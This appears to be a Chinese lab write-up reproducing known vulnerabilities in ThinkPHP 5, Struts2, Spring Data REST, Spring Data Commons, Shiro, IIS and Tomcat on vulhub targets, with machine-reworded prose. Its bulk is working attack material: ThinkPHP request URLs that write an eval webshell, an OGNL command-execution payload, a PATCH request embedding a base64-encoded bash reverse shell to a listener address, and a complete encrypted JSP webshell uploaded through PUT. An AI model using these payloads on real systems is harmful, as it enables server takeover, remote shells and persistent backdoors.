常见框架毛病

Thinkphp 之 5-rce

靶场 vulhub/thinkphp/5-rce

        毛病根本源于 thinkphp/library/think/Request.php 中method方法可以举行变量覆盖，通过覆盖类的核心属性filter导致rce，其攻击点较为多，有些还具有限定条件，别的由于种种部分缘故原由，在使用上会出现一些题目。
长途下令实行

1. /index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

复制代码

1. whoami
2. /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

复制代码

将php代码写入文件，并访问

1. /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>

复制代码

写入一个一句话木马

1. /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell2.php&vars[1][]=<?php eval($_POST[cmd]);?>

复制代码

shell工具毗连

struts2之s2-057

vulhub靶机
访问靶场

1. ip/struts2-showcase

复制代码

1. 输入以下url
2. http://1.92.134.1:8080/struts2-showcase/${(123+123)}/actionChain1.action
3. 页面回显
4. http://1.92.134.1:8080/struts2-showcase/246/register2.action

复制代码

把上面验证payload的值修改为我们的使用exp

1. ${(#[email protected]@DEFAULT_MEMBER_ACCESS).
2. (#ct=#request['struts.valueStack'].context).
3. (#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
4. (#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
5. (#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
6. (#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('whoami')).
7. (@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

复制代码

然后颠末url编码放入上方位置中即可看到代码被实行whoami

spring之CVE-2017-8046

靶场 spring/CVE-2017-8046
         服务器在处置处罚PATCH哀求时，攻击者可以构造恶意的PATCH哀求并发送给spring-date-rest服务器，通过构造好的JSON数据来实行恣意Java代码
        打开情况后看到

访问customers，得到

1. {
2.   "_embedded" : {
3.     "customers" : [ {
4.       "firstname" : "Dave",
5.       "lastname" : "Matthews",
6.       "gender" : "MALE",
7.       "address" : {
8.         "street" : "4711 Some Place",
9.         "zipCode" : "54321",
10.         "city" : "Charlottesville",
11.         "state" : "VA"
12.       },
13.       "_links" : {
14.         "self" : {
15.           "href" : "http://1.92.134.1:8080/customers/1"
16.         },
17.         "customer" : {
18.           "href" : "http://1.92.134.1:8080/customers/1"
19.         }
20.       }
21.     } ]
22.   },
23.   "_links" : {
24.     "self" : {
25.       "href" : "http://1.92.134.1:8080/customers"
26.     },
27.     "profile" : {
28.       "href" : "http://1.92.134.1:8080/profile/customers"
29.     }
30.   }
31. }

复制代码

可以使用代码块天生Ascii的下令

1. payload = b'touch /tmp/success'
2. bytecode = ','.join(str(i) for i in list(payload))
3. print(bytecode)

复制代码

1. bash -i >& /dev/tcp/192.168.177.142/6666 0>&1
2. base64
4. 反弹编码
5. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xNDIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
7. 拼接payload
8. payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xNDIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'
9. bytecode = ','.join(str(i) for i in list(payload))
10. print(bytecode)
12. 98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,78,121,52,120,78,68,73,118,78,106,89,50,78,105,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

复制代码

访问customers/1 添加content-type 以及末了的payload访问即可

1. PATCH /customers/1 HTTP/1.1
2. Host: 192.168.177.160:8080
3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6. Content-Type: application/json-patch+json
7. Accept-Encoding: gzip, deflate, br
8. DNT: 1
9. Connection: close
10. Upgrade-Insecure-Requests: 1
11. Content-Length: 461
13. [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,78,121,52,120,78,68,73,118,78,106,89,50,78,105,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

复制代码

乐成得到shell

spring之CVE-2018-1273

安装靶场 访问项目所在/users

填写信息bp抓包

写入poc

1. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

复制代码

终端检察信息

1. docker exec -it 08d7538b367f /bin/bash

复制代码

反弹shell改日再弹。

Shiro之rememberMe反序列化毛病（Shiro-550）

vulhub靶场 /shiro/CVE-2016-4437

        使⽤BurpSuite进⾏抓包，在哀求包中的cookie字段中添加rememberMe=123;，看相应包 header中是否返回 rememberMe=deleteMe值，如有，则证明该体系使⽤了Shiro框架：

使用工具举行攻击，手工，别搞笑了
https://github.com/j1anFen/shiro_attack

https://github.com/feihong-cs/ShiroExploit-Deprecated反弹shell工具
中央件系列

iis6.x篇

PUT毛病复现
准备复现winser2003 开启webdav

开启写入

抓包检察支持协议，提交options

Tomcat之长途代码实行毛病（CVE-2017-12615）

vulhub 靶机 /tomcat/CVE-2017-12615
访问靶机所在

bp抓包并修改提交方式为PUT 提交一个jsp木马，这里小编使用哥斯拉天生一个，然后提交毗连

1. PUT /333.jsp/ HTTP/1.1
2. Host: 192.168.177.160:8080
3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6. Accept-Encoding: gzip, deflate, br
7. DNT: 1
8. Connection: close
9. Upgrade-Insecure-Requests: 1
10. Cache-Control: max-age=0
11. Content-Length: 2617
13. <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
14. %>

复制代码

末了哥斯拉毗连即可